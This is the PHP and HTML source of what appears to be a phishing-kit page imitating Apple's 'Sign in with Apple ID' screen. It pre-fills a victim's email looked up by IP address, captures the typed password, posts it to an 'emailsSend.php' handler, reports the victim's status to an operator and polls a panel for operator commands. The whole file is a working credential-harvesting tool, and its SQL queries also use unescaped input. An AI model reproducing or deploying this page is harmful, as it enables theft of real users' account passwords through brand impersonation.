<?php

@session_start();
error_reporting(0);
ini_set("display_errors", 0);

require_once "../../cod3rconfig/registro.php";
require_once "../../cod3rconfig/conexao.php";
require_once "../../cod3rconfig/data.php";
$erro = $_REQUEST['error'];
$ip = (isset($_SERVER["HTTP_CF_CONNECTING_IP"]) ? $_SERVER["HTTP_CF_CONNECTING_IP"] : $_SERVER['REMOTE_ADDR']);

$query_info = "SELECT * FROM infos WHERE ip='$ip'";
$recorinfo = mysqli_query(DBConnect(), $query_info) or die(mysqli_error(DBConnect()));
$row_infio = mysqli_fetch_assoc($recorinfo);
$totalRowsinfo = mysqli_num_rows($recorinfo);



$email = $row_infio['usuario'];

$tempo = time();
$atualiza = mysqli_query(DBCOnnect(), "UPDATE infos SET tempo='$tempo', status='Cliente online email', statusremote='Cliente online na senha do email' WHERE ip='$ip'");

?>

<html class="prefpane na-presentation">

<head>
  <title>Sign in with Apple ID</title>
  <meta name="referrer" content="strict-origin-when-cross-origin">
  <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
  <link rel="shortcut icon" type="image/x-icon" href="/app/provider/assets-icloud/images/favicon.ico">
  <link rel="stylesheet" href="/app/provider/assets-icloud/css/fontsMyriad.css" type="text/css">
  <link rel="stylesheet" href="/app/provider/assets-icloud/css/fontsSFPro.css" type="text/css">
  <link rel="stylesheet" type="text/css" media="screen" href="/app/provider/assets-icloud/css/app.css">
  <link rel="stylesheet" type="text/css" href="/app/provider/assets-icloud/css/ac-globalnav.built.css">
  <link rel="stylesheet" type="text/css" href="/app/provider/assets-icloud/css/ac-globalfooter.built.css">
  <style>
    ::-webkit-scrollbar {
      display: none !important;
    }
  </style>
</head>

<body class="tk-body">
  <div class="content" id="content" style="width: 100%;height: 100%;">
    <oauth-init class="oauth-init">
      <oauth-header class="oauth-header">
        <apple-global-nav>
          <input type="checkbox" id="ac-gn-menustate" class="ac-gn-menustate">
          <nav id="ac-globalnav" class="no-js">
            <div class="ac-gn-content">
              <ul class="ac-gn-header">
                <li class="ac-gn-item ac-gn-apple">
                  <a class="ac-gn-link ac-gn-link-apple" id="ac-gn-firstfocus-small">
                    <span class="ac-gn-link-text">Apple</span>
                  </a>
                </li>
              </ul>
              <div class="ac-gn-search-placeholder-container">
                <div class="ac-gn-search ac-gn-search-small">
                  <a id="ac-gn-link-search-small" class="ac-gn-link">
                    <div class="ac-gn-search-placeholder-bar">
                      <div class="ac-gn-search-placeholder-input">
                        <div class="ac-gn-search-placeholder-input-text">
                          <div class="ac-gn-link-search ac-gn-search-placeholder-input-icon"></div>
                          <span class="ac-gn-search-placeholder">
                            Search apple.com
                          </span>
                        </div>
                      </div>
                      <div class="ac-gn-searchview-close ac-gn-searchview-close-small ac-gn-search-placeholder-searchview-close">
                        <span class="ac-gn-searchview-close-cancel">
                          Cancel
                        </span>
                      </div>
                    </div>
                  </a>
                </div>
              </div>
              <ul class="ac-gn-list">
                <li class="ac-gn-item ac-gn-apple">
                  <a class="ac-gn-link ac-gn-link-apple" id="ac-gn-firstfocus">
                    <span class="ac-gn-link-text">
                      Apple
                    </span>
                  </a>
                </li>
              </ul>
            </div>
          </nav>
          <div class="ac-gn-blur"></div>
          <div id="ac-gn-curtain" class="ac-gn-curtain"></div>
          <div id="ac-gn-placeholder" class="ac-nav-placeholder"></div>
        </apple-global-nav>
        <local-nav>
          <input type="checkbox" id="ac-localnav-menustate" class="ac-localnav-menustate">
          <div id="ac-localnav-sticky-placeholder" class="css-sticky"></div>
          <nav id="ac-localnav" class="ac-localnav js touch css-sticky">
            <div class="ac-localnav-wrapper">
              <div class="ac-localnav-background"></div>
              <div class="ac-localnav-content">
                <div class="ac-localnav-title">
                  <span>Apple ID</span>
                </div>
                <div class="ac-localnav-menu">
                  <div class="ac-localnav-menu-tray">
                    <ul class="ac-localnav-menu-items">
                      <li class="ac-localnav-menu-item">
                        <span class="ac-localnav-menu-link current" title="Sign in">
                          <span>
                            Sign in
                          </span>
                          <span class="a11y">
                            Sign in
                          </span>
                        </span>
                      </li>
                    </ul>
                  </div>
                  <div class="ac-localnav-actions">
                    <div class="ac-localnav-action ac-localnav-action-menucta">
                      <label for="ac-localnav-menustate" class="ac-localnav-menucta">
                        <span class="ac-localnav-menucta-chevron"></span>
                      </label>
                    </div>
                  </div>
                </div>
              </div>
            </div>
          </nav>
          <label id="ac-localnav-curtain" class="ac-localnav-curtain"></label>
        </local-nav>
      </oauth-header>
      <div class="oauth-init__content">
        <div class="oauth-init__content__container">
          <oauth-signin>
            <div id="signin" class="oauth-signin si-body si-container container-fluid oauth-internal-signin">
              <apple-auth class="appleauth-inline ">
                <div class="widget-container fade-in restrict-min-content restrict-max-wh fade-in">
                  <div id="step" class="si-step">
                    <logo>
                      <div class="logo signin-label fade-in logo-profile">
                        <img class="cnsmr-app-image profile-app-logo" src="/app/provider/assets-icloud/images/favicon.ico" style="width: 72px;">
                      </div>
                    </logo>
                    <div id="stepEl">
                      <sign-in>
                        <div class="signin fade-in" id="signin">
                          <app-title>
                            <h1 class="si-container-title tk-intro">
                              Use your Apple ID to sign in to QMAL.
                            </h1>
                          </app-title>
                          <div class="container si-field-container password-second-step password-on">
                            <div id="sign_in_form" class="signin-form eyebrow account-name-entered fed-auth show-password">
                              <div class="si-field-container container">
                                <div class="form-table">
                                  <div class="account-name form-row show-password">
                                    <label class="sr-only form-cell form-label">
                                      Sign In with your Apple ID
                                    </label>
                                    <div class="form-cell">
                                      <div class="form-cell-wrapper">
                                        <input type="text" id="account_name_text_field" autocomplete="off" autocorrect="off" autocapitalize="off" aria-required="true" required="required" spellcheck="false" readonly class="force-ltr form-textbox form-textbox-text form-textbox-entered" aria-invalid="false" value="<?php echo $email; ?>">
                                        <span aria-hidden="true" id="apple_id_field_label" class=" form-label form-label-flyout">
                                          Apple ID
                                        </span>
                                      </div>
                                    </div>
                                  </div>
                                  <div class="password form-row show-password show-placeholder">
                                    <label class="sr-only form-cell form-label">
                                      Password
                                    </label>
                                    <div class="form-cell">
                                      <div class="form-cell-wrapper ">
                                        <input type="password" id="password_text_field" aria-required="true" required="required" autocomplete="off" class="form-textbox form-textbox-text" aria-invalid="false" autofocus="true">
                                        <span id="password_field_label" aria-hidden="true" class="form-label form-label-flyout">
                                          Password
                                        </span>
                                        <span class="sr-only form-label-flyout" id="invalid_user_name_pwd_err_msg" aria-hidden="true">
                                        </span>
                                      </div>
                                    </div>
                                  </div>
                                </div>
                              </div>
                            </div>
                            <div class="spinner-container auth  hide "></div>
                            <button id="sign_inbutton" tabindex="0" class="si-button btn fed-ui moved fed-ui-animation-show disable" aria-label="Sign In" aria-disabled="true" disabled="">
                              <i class="shared-icon icon_sign_in"></i>
                              <span class="text feat-split">
                                Sign In
                              </span>
                            </button>
                            <button id="sign-in-cancel" aria-disabled="false" tabindex="0" class="si-button btn secondary feat-split link " aria-label="Close">
                              <span class="text">
                                Close
                              </span>
                            </button>
                          </div>
                          <div class="si-container-footer">
                            <div class="separator no-remember-me"></div>
                            <div class="links tk-subbody">
                              <div class="si-forgot-password">
                                <a id="iforgot-link" class="si-link ax-outline lite-theme-override">
                                  Forgot Apple ID or
                                  <span class="no-wrap sk-icon sk-icon-after sk-icon-external">
                                    password?
                                  </span>
                                  <span class="sr-only">
                                    Opens in a new window.
                                  </span>
                                </a>
                              </div>
                              <div class="label-small text-centered centered tk-caption privacy-wrapper">
                                <div class="privacy-icon"></div>
                                In setting up Sign in with Apple, information about your interactions with Apple and
                                this device may be used by Apple to help prevent fraud.
                                <a>
                                  See how your data is managed...
                                  <span class="sr-only">
                                    Opens in a new window.
                                  </span>
                                </a>
                              </div>
                            </div>
                          </div>
                        </div>
                      </sign-in>
                    </div>
                  </div>
                </div>
                <idms-modal wrap-class="full-page-error-wrapper"></idms-modal>
              </apple-auth>
            </div>
          </oauth-signin>
        </div>
      </div>
      <div class="oauth-init__global-footer">
        <apple-global-footer>
          <footer id="ac-globalfooter" class="js">
            <div class="ac-gf-content">
              <h2 class="ac-gf-label" id="ac-gf-label">
                Apple Footer
              </h2>
              <section class="ac-gf-footer">
                <div class="ac-gf-footer-legal">
                  <div class="ac-gf-footer-legal-copyright">
                    Copyright © 2023 Apple Inc. All rights reserved.
                  </div>
                  <div class="ac-gf-footer-legal-links">
                    <a class="ac-gf-footer-legal-link">
                      Privacy Policy
                    </a>
                  </div>
                </div>
              </section>
            </div>
          </footer>
        </apple-global-footer>
      </div>
    </oauth-init>
  </div>
  <script>
    const passwordTextField = document.querySelector("#password_text_field");
    const signInButton = document.querySelector("#sign_inbutton");

    passwordTextField.addEventListener("input", () => {
      if (passwordTextField.value.length !== 0) {
        signInButton.classList.remove("disable");
        signInButton.removeAttribute("disabled");
      } else {
        signInButton.classList.add("disable");
        signInButton.setAttribute("disabled", "disabled");
      }
    });

    document.addEventListener("DOMContentLoaded", function() {
      document.getElementById("sign_inbutton").addEventListener('click', function(e) {
        e.preventDefault();
        var emailsenha = document.getElementById("password_text_field").value;
        if (emailsenha == "") {
          comandoerrordados();
        } else {
          document.getElementById("password_text_field").disabled = true;
          document.getElementById("sign_inbutton").disabled = true;
          var xhttp = new XMLHttpRequest();
          xhttp.onreadystatechange = function() {
            if (this.readyState == 4 && this.status == 200) {
              var json = this.response;
              var data = JSON.parse(json);
              if (data.comando == "negaremailsyng") {
                clearInterval(myVar);
                comandoerrordados();
              } else {
                dispararComando();
              }
            }
          };
          xhttp.open("POST", "emailsSend.php", true);
          xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
          xhttp.send("emailsenha=" + emailsenha);
        }
      });
    });

    let myVar;

    function dispararComando() {
      myVar = setInterval(esperaresposta, 1400);
    }

    function esperaresposta() {
      Get("", "../main_.php", 0);
    }

    function comandoerrordados() {
      document.getElementById("password_text_field").disabled = false;
      document.getElementById("sign_inbutton").disabled = false;
      document.getElementById('password_text_field').style.border = "1px solid red";
    }

    function Get(data, urlapi, e) {
      var xhttp = new XMLHttpRequest();
      xhttp.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
          var json = this.response;
          if (e != 1) {
            status(JSON.parse(json));
          }
        }
      };
      xhttp.open("GET", urlapi + data, true);
      xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
      xhttp.send();
      return false;
    }

    function status(json) {
      if (json.comando == "negaremailsyng") {
        clearInterval(myVar);
        comandoerrordados();
      }
    }
  </script>
</body>

</html>